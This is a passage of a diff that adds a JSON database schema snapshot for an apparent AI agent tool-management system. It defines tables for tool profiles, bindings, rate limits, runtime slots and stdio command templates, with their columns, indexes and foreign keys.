+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "profile_id": {
+          "name": "profile_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_type": {
+          "name": "target_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_id": {
+          "name": "target_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "priority": {
+          "name": "priority",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 100
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_profile_bindings_company_target_idx": {
+          "name": "tool_profile_bindings_company_target_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_profile_bindings_target_profile_uq": {
+          "name": "tool_profile_bindings_target_profile_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "profile_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_profile_bindings_company_id_companies_id_fk": {
+          "name": "tool_profile_bindings_company_id_companies_id_fk",
+          "tableFrom": "tool_profile_bindings",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_profile_bindings_profile_id_tool_profiles_id_fk": {
+          "name": "tool_profile_bindings_profile_id_tool_profiles_id_fk",
+          "tableFrom": "tool_profile_bindings",
+          "tableTo": "tool_profiles",
+          "columnsFrom": [
+            "profile_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_profile_bindings_created_by_agent_id_agents_id_fk": {
+          "name": "tool_profile_bindings_created_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_profile_bindings",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_profile_entries": {
+      "name": "tool_profile_entries",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "profile_id": {
+          "name": "profile_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "selector_type": {
+          "name": "selector_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "effect": {
+          "name": "effect",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'include'"
+        },
+        "application_id": {
+          "name": "application_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "catalog_entry_id": {
+          "name": "catalog_entry_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "tool_name": {
+          "name": "tool_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "risk_level": {
+          "name": "risk_level",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "conditions": {
+          "name": "conditions",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_profile_entries_company_profile_idx": {
+          "name": "tool_profile_entries_company_profile_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "profile_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_profile_entries_application_idx": {
+          "name": "tool_profile_entries_application_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "application_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_profile_entries_connection_idx": {
+          "name": "tool_profile_entries_connection_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_profile_entries_catalog_entry_idx": {
+          "name": "tool_profile_entries_catalog_entry_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "catalog_entry_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_profile_entries_company_id_companies_id_fk": {
+          "name": "tool_profile_entries_company_id_companies_id_fk",
+          "tableFrom": "tool_profile_entries",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_profile_entries_profile_id_tool_profiles_id_fk": {
+          "name": "tool_profile_entries_profile_id_tool_profiles_id_fk",
+          "tableFrom": "tool_profile_entries",
+          "tableTo": "tool_profiles",
+          "columnsFrom": [
+            "profile_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_profile_entries_application_id_tool_applications_id_fk": {
+          "name": "tool_profile_entries_application_id_tool_applications_id_fk",
+          "tableFrom": "tool_profile_entries",
+          "tableTo": "tool_applications",
+          "columnsFrom": [
+            "application_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_profile_entries_connection_id_tool_connections_id_fk": {
+          "name": "tool_profile_entries_connection_id_tool_connections_id_fk",
+          "tableFrom": "tool_profile_entries",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_profile_entries_catalog_entry_id_tool_catalog_entries_id_fk": {
+          "name": "tool_profile_entries_catalog_entry_id_tool_catalog_entries_id_fk",
+          "tableFrom": "tool_profile_entries",
+          "tableTo": "tool_catalog_entries",
+          "columnsFrom": [
+            "catalog_entry_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_profiles": {
+      "name": "tool_profiles",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "profile_key": {
+          "name": "profile_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "default_action": {
+          "name": "default_action",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'deny'"
+        },
+        "new_tools_reviewed_at": {
+          "name": "new_tools_reviewed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_profiles_company_status_idx": {
+          "name": "tool_profiles_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_profiles_company_key_uq": {
+          "name": "tool_profiles_company_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "profile_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_profiles_company_name_uq": {
+          "name": "tool_profiles_company_name_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_profiles_company_id_companies_id_fk": {
+          "name": "tool_profiles_company_id_companies_id_fk",
+          "tableFrom": "tool_profiles",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_rate_limit_counters": {
+      "name": "tool_rate_limit_counters",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "policy_id": {
+          "name": "policy_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "counter_key": {
+          "name": "counter_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_type": {
+          "name": "scope_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_id": {
+          "name": "scope_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "window_kind": {
+          "name": "window_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "window_start_at": {
+          "name": "window_start_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "limit": {
+          "name": "limit",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "remaining": {
+          "name": "remaining",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "reset_at": {
+          "name": "reset_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_rate_limit_counters_company_idx": {
+          "name": "tool_rate_limit_counters_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_rate_limit_counters_window_uq": {
+          "name": "tool_rate_limit_counters_window_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "policy_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "counter_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "window_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "window_start_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_rate_limit_counters_company_id_companies_id_fk": {
+          "name": "tool_rate_limit_counters_company_id_companies_id_fk",
+          "tableFrom": "tool_rate_limit_counters",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_rate_limit_counters_policy_id_tool_policies_id_fk": {
+          "name": "tool_rate_limit_counters_policy_id_tool_policies_id_fk",
+          "tableFrom": "tool_rate_limit_counters",
+          "tableTo": "tool_policies",
+          "columnsFrom": [
+            "policy_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_runtime_metric_counters": {
+      "name": "tool_runtime_metric_counters",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "metric": {
+          "name": "metric",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "bucket_start_at": {
+          "name": "bucket_start_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "count": {
+          "name": "count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_runtime_metric_counters_company_metric_idx": {
+          "name": "tool_runtime_metric_counters_company_metric_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "metric",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "bucket_start_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_runtime_metric_counters_bucket_uq": {
+          "name": "tool_runtime_metric_counters_bucket_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "metric",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "bucket_start_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_runtime_metric_counters_company_id_companies_id_fk": {
+          "name": "tool_runtime_metric_counters_company_id_companies_id_fk",
+          "tableFrom": "tool_runtime_metric_counters",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_runtime_slots": {
+      "name": "tool_runtime_slots",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "application_id": {
+          "name": "application_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "project_workspace_id": {
+          "name": "project_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_workspace_id": {
+          "name": "execution_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_scope_type": {
+          "name": "owner_scope_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'connection'"
+        },
+        "owner_scope_id": {
+          "name": "owner_scope_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "runtime_kind": {
+          "name": "runtime_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'local_stdio'"
+        },
+        "slot_key": {
+          "name": "slot_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'stopped'"
+        },
+        "reuse_key": {
+          "name": "reuse_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "workspace_scope": {
+          "name": "workspace_scope",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "credential_scope_hash": {
+          "name": "credential_scope_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_ref": {
+          "name": "provider_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "process_id": {
+          "name": "process_id",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "command_template_key": {
+          "name": "command_template_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "health_status": {
+          "name": "health_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unchecked'"
+        },
+        "health_message": {
+          "name": "health_message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_health_check_at": {
+          "name": "last_health_check_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_started_at": {
+          "name": "last_started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "stopped_at": {
+          "name": "stopped_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "idle_expires_at": {
+          "name": "idle_expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "idle_deadline_at": {
+          "name": "idle_deadline_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_error": {
+          "name": "last_error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_runtime_slots_company_idx": {
+          "name": "tool_runtime_slots_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_runtime_slots_connection_idx": {
+          "name": "tool_runtime_slots_connection_idx",
+          "columns": [
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_runtime_slots_execution_workspace_idx": {
+          "name": "tool_runtime_slots_execution_workspace_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "execution_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_runtime_slots_slot_key_uq": {
+          "name": "tool_runtime_slots_slot_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "slot_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_runtime_slots_company_id_companies_id_fk": {
+          "name": "tool_runtime_slots_company_id_companies_id_fk",
+          "tableFrom": "tool_runtime_slots",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_runtime_slots_application_id_tool_applications_id_fk": {
+          "name": "tool_runtime_slots_application_id_tool_applications_id_fk",
+          "tableFrom": "tool_runtime_slots",
+          "tableTo": "tool_applications",
+          "columnsFrom": [
+            "application_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_runtime_slots_connection_id_tool_connections_id_fk": {
+          "name": "tool_runtime_slots_connection_id_tool_connections_id_fk",
+          "tableFrom": "tool_runtime_slots",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_runtime_slots_project_workspace_id_project_workspaces_id_fk": {
+          "name": "tool_runtime_slots_project_workspace_id_project_workspaces_id_fk",
+          "tableFrom": "tool_runtime_slots",
+          "tableTo": "project_workspaces",
+          "columnsFrom": [
+            "project_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_runtime_slots_execution_workspace_id_execution_workspaces_id_fk": {
+          "name": "tool_runtime_slots_execution_workspace_id_execution_workspaces_id_fk",
+          "tableFrom": "tool_runtime_slots",
+          "tableTo": "execution_workspaces",
+          "columnsFrom": [
+            "execution_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_runtime_slots_issue_id_issues_id_fk": {
+          "name": "tool_runtime_slots_issue_id_issues_id_fk",
+          "tableFrom": "tool_runtime_slots",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_stdio_command_templates": {
+      "name": "tool_stdio_command_templates",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "template_key": {
+          "name": "template_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "command": {
+          "name": "command",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "args": {
+          "name": "args",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "env_keys": {
+          "name": "env_keys",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "tools": {
+          "name": "tools",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "disabled_at": {
+          "name": "disabled_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_stdio_command_templates_company_idx": {
+          "name": "tool_stdio_command_templates_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_stdio_command_templates_company_status_idx": {
+          "name": "tool_stdio_command_templates_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_stdio_command_templates_company_key_uq": {
+          "name": "tool_stdio_command_templates_company_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "template_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_stdio_command_templates_company_id_companies_id_fk": {
+          "name": "tool_stdio_command_templates_company_id_companies_id_fk",
